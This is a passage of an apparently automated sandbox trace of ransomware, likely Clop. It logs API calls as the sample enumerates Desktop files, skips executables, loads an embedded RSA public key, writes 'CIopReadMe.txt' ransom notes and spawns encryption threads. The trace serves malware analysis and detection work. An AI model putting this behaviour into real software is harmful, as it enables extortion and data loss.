(in: lpString1=0x1ebeab2, lpString2="HotGIrls" | out: lpString1="HotGIrls") returned="HotGIrls" [0099.075] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0099.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0099.076] SetErrorMode (uMode=0x1) returned 0x1 [0099.076] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0099.076] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0099.076] CloseHandle (hObject=0x594) returned 1 [0099.076] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0099.076] lstrcmpW (lpString1="lGBL1f9.swf", lpString2="..") returned 1 [0099.076] lstrcmpW (lpString1="lGBL1f9.swf", lpString2=".") returned 1 [0099.076] Sleep (dwMilliseconds=0xd) [0099.143] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.143] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="lGBL1f9.swf" | out: lpString1="lGBL1f9.swf") returned="lGBL1f9.swf" [0099.143] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0099.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0099.143] WaitForSingleObject (hHandle=0x58c, dwMilliseconds=0xffffffff) returned 0x0 [0099.302] SetErrorMode (uMode=0x1) returned 0x1 [0099.302] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0099.302] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5a8 [0099.302] CloseHandle (hObject=0x5a8) returned 1 [0099.302] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0099.302] lstrcmpW (lpString1="nYkivMTIATrvxLZ.xls", lpString2="..") returned 1 [0099.302] lstrcmpW (lpString1="nYkivMTIATrvxLZ.xls", lpString2=".") returned 1 [0099.302] Sleep (dwMilliseconds=0xd) [0099.327] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.327] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="nYkivMTIATrvxLZ.xls" | out: lpString1="nYkivMTIATrvxLZ.xls") returned="nYkivMTIATrvxLZ.xls" [0099.327] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0099.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ac [0099.327] WaitForSingleObject (hHandle=0x5ac, dwMilliseconds=0xffffffff) returned 0x0 [0099.688] SetErrorMode (uMode=0x1) returned 0x1 [0099.688] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0099.688] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0099.688] CloseHandle (hObject=0x580) returned 1 [0099.689] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0099.689] lstrcmpW (lpString1="O4rsCOfAWVNZ.mp4", lpString2="..") returned 1 [0099.689] lstrcmpW (lpString1="O4rsCOfAWVNZ.mp4", lpString2=".") returned 1 [0099.689] Sleep (dwMilliseconds=0xd) [0099.751] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.751] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="O4rsCOfAWVNZ.mp4" | out: lpString1="O4rsCOfAWVNZ.mp4") returned="O4rsCOfAWVNZ.mp4" [0099.751] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0099.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0099.751] SetErrorMode (uMode=0x1) returned 0x1 [0099.752] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0099.752] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5a4 [0099.752] CloseHandle (hObject=0x5a4) returned 1 [0099.752] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0099.752] lstrcmpW (lpString1="OALKMuc2ka4.gif", lpString2="..") returned 1 [0099.752] lstrcmpW (lpString1="OALKMuc2ka4.gif", lpString2=".") returned 1 [0099.752] Sleep (dwMilliseconds=0xd) [0099.876] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.876] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="OALKMuc2ka4.gif" | out: lpString1="OALKMuc2ka4.gif") returned="OALKMuc2ka4.gif" [0099.876] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0099.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598 [0099.876] SetErrorMode (uMode=0x1) returned 0x1 [0099.876] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0099.876] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0 [0099.876] CloseHandle (hObject=0x5b0) returned 1 [0099.877] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0099.877] lstrcmpW (lpString1="P9oN_mVJ_5GZ wuO.avi", lpString2="..") returned 1 [0099.877] lstrcmpW (lpString1="P9oN_mVJ_5GZ wuO.avi", lpString2=".") returned 1 [0099.877] Sleep (dwMilliseconds=0xd) [0100.083] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.083] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="P9oN_mVJ_5GZ wuO.avi" | out: lpString1="P9oN_mVJ_5GZ wuO.avi") returned="P9oN_mVJ_5GZ wuO.avi" [0100.083] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0100.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578 [0100.083] WaitForSingleObject (hHandle=0x578, dwMilliseconds=0xffffffff) returned 0x0 [0100.388] SetErrorMode (uMode=0x1) returned 0x1 [0100.388] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0100.388] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8 [0100.388] CloseHandle (hObject=0x5b8) returned 1 [0100.389] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0100.389] lstrcmpW (lpString1="ROHZJx8ipU.mp3", lpString2="..") returned 1 [0100.389] lstrcmpW (lpString1="ROHZJx8ipU.mp3", lpString2=".") returned 1 [0100.389] Sleep (dwMilliseconds=0xd) [0100.499] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.499] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="ROHZJx8ipU.mp3" | out: lpString1="ROHZJx8ipU.mp3") returned="ROHZJx8ipU.mp3" [0100.499] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0100.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c4 [0100.514] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0xffffffff) returned 0x0 [0100.685] SetErrorMode (uMode=0x1) returned 0x1 [0100.685] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0100.685] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0 [0100.685] CloseHandle (hObject=0x5c0) returned 1 [0100.685] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0100.685] lstrcmpW (lpString1="rvq7ekaaX.gif", lpString2="..") returned 1 [0100.685] lstrcmpW (lpString1="rvq7ekaaX.gif", lpString2=".") returned 1 [0100.685] Sleep (dwMilliseconds=0xd) [0100.787] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.787] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="rvq7ekaaX.gif" | out: lpString1="rvq7ekaaX.gif") returned="rvq7ekaaX.gif" [0100.787] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0100.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8 [0100.787] SetErrorMode (uMode=0x1) returned 0x1 [0100.788] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0100.788] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8 [0100.788] CloseHandle (hObject=0x5c8) returned 1 [0100.788] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0100.788] lstrcmpW (lpString1="s5DMlEpMOzEY.pdf", lpString2="..") returned 1 [0100.788] lstrcmpW (lpString1="s5DMlEpMOzEY.pdf", lpString2=".") returned 1 [0100.788] Sleep (dwMilliseconds=0xd) [0100.833] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.833] lstrcpyW (in: lpString1=0x1ebeab2, lpString2="s5DMlEpMOzEY.pdf" | out: lpString1="s5DMlEpMOzEY.pdf") returned="s5DMlEpMOzEY.pdf" [0100.833] lstrcpyW (in: lpString1=0x1ebe6b2, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0100.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x1ebe554, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0100.833] SetErrorMode (uMode=0x1) returned 0x1 [0100.833] wsprintfW (in: param_1=0x1ebe118, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt") returned 44 [0100.833] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8 [0100.834] CloseHandle (hObject=0x5d8) returned 1 [0100.834] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0100.834] lstrcmpW (lpString1="SCN0tification.exe", lpString2="..") returned 1 [0100.834] lstrcmpW (lpString1="SCN0tification.exe", lpString2=".") returned 1 [0100.834] lstrlenW (lpString=".exe") returned 4 [0100.834] FindNextFileW (in: hFindFile=0x6493b8, lpFindFileData=0x1ebeebc | out: lpFindFileData=0x1ebeebc) returned 1 [0100.834] lstrcmpW (lpString1="t39geveg0wynNP.m4a", lpString2="..") returned 1 [0100.834] lstrcmpW (lpString1="t39geveg0wynNP.m4a", lpString2=".") returned 1 [0100.834] Sleep (dwMilliseconds=0xd) [0100.931] lstrcpyA (in: lpString1=0x1ebe554, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 